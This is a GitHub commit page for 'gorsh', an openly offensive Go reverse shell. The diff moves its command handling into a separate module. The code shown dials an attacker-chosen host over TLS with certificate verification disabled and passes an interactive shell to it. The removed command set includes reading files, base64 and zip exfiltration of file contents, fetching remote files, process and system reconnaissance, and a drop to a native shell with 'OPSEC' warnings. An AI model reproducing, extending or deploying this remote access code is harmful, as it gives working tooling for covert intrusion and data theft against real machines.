Skip to content

Commit

Permalink
create modular commands for easier addition later
Browse files Browse the repository at this point in the history
  • Loading branch information
audibleblink committed Sep 14, 2018
1 parent ea8e0ae commit 98d719d
Show file tree
Hide file tree
Showing 2 changed files with 238 additions and 127 deletions.
135 changes: 8 additions & 127 deletions cmd/gorsh/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,21 +5,16 @@ import (
"bytes"
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"encoding/hex"
"fmt"
"io/ioutil"
"net"
"os"
"os/exec"
"os/user"
"strings"

"github.com/audibleblink/gorsh/internal/directory"
"github.com/audibleblink/gorsh/internal/fetch"
"github.com/audibleblink/gorsh/internal/commands"
"github.com/audibleblink/gorsh/internal/shell"
"github.com/audibleblink/gorsh/internal/sitrep"
"github.com/audibleblink/gorsh/internal/zip"
)

const (
Expand All @@ -42,7 +37,6 @@ func Send(conn net.Conn, msg string) {
// Takes a network connection as its arg so it can pass stdio to it
func InteractiveShell(conn net.Conn) {
var (
exit bool = false
name, _ = os.Hostname()
prompt string = fmt.Sprintf("\n[%s]> ", name)
scanner *bufio.Scanner = bufio.NewScanner(conn)
Expand All @@ -54,124 +48,14 @@ func InteractiveShell(conn net.Conn) {

for scanner.Scan() {
command := scanner.Text()

if len(command) > 1 {
if command == "exit" {
break
} else if command == "shell" {
RunShell(conn)
} else if len(command) > 1 {
argv := strings.Split(command, " ")

switch argv[0] {
case "exit":
exit = true

case "shell":
Send(conn, "Mind your OPSEC")
RunShell(conn)

case "ls":
listing, err := directory.List(argv)
if err != nil {
Send(conn, err.Error())
} else {
Send(conn, listing)
}

case "ps":
listing := sitrep.Processes()
Send(conn, listing)

case "cd":
if len(argv) > 1 {
os.Chdir(argv[1])
} else {
usr, _ := user.Current()
os.Chdir(usr.HomeDir)
}
dir, _ := os.Getwd()
Send(conn, "Directory: "+dir)

case "pwd":
dir, _ := os.Getwd()
Send(conn, dir)

case "cat":
if len(argv) != 2 {
Send(conn, "Usage: cat <file>")
} else {
buf, err := ioutil.ReadFile(argv[1])

if err != nil {
Send(conn, err.Error())
} else {
Send(conn, string(buf))
}
}

case "base64":
if len(argv) != 2 {
Send(conn, "Usage: base64 <file>")
} else {
buffer, err := ioutil.ReadFile(argv[1])
base64 := base64.StdEncoding.EncodeToString(buffer)
if err != nil {
Send(conn, err.Error())
} else {
Send(conn, base64)
}
}

case "fetch":
if len(argv) != 3 {
Send(conn, "Usage: fetch <URI> <dest file>. "+
"UNC Paths allowed on Windows")
} else {
bytes, err := fetch.Get(argv[1], argv[2])

if err != nil {
Send(conn, err.Error())
} else {
msg := fmt.Sprintf("%d bytes copied to %s",
bytes, argv[2])
Send(conn, msg)
}
}

case "sitrep":
net := sitrep.SysInfo()
Send(conn, net)

case "zipcat":
if len(argv) != 2 {
Send(conn, "Usage: zipcat <file>")
} else {
bytes, err := zip.Bytes(argv[1])
if err != nil {
Send(conn, err.Error())
} else {
b64 := base64.StdEncoding.EncodeToString(bytes)
Send(conn, b64)
}
}

case "help":
Send(conn, "Currently implemented commands: \n"+
"cd [path] - Change the process' working directory\n"+
"ls [path] - List the current working directory\n"+
"pwd - Print the current working directory\n"+
"ps - Print process information\n"+
"cat <file> - Print the contents of the given file\n"+
"zipcat <file> - Compress, base64, and print the given file\n"+
"base64 <file> - Base64 encode the given file and print\n"+
"fetch <URI> <file> - Fetch stuff. http[s]:// or //share/folder (Windows only)\n"+
"shell - Drops into a native shell. Mind your OPSEC\n"+
"sitrep - Situation Awareness information\n"+
"\n")
default:
Send(conn, "Command not implemented. Try 'help'")
}

if exit {
break
}

out := commands.Route(argv)
Send(conn, out)
}

conn.Write([]byte(prompt))
Expand Down Expand Up @@ -206,17 +90,14 @@ func Reverse(connectString string, fingerprint []byte) {
)

config := &tls.Config{InsecureSkipVerify: true}

if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}

defer conn.Close()

if ok := CheckKeyPin(conn, fingerprint); !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}

InteractiveShell(conn)
}

Expand Down
Loading

0 comments on commit 98d719d

Please sign in to comment.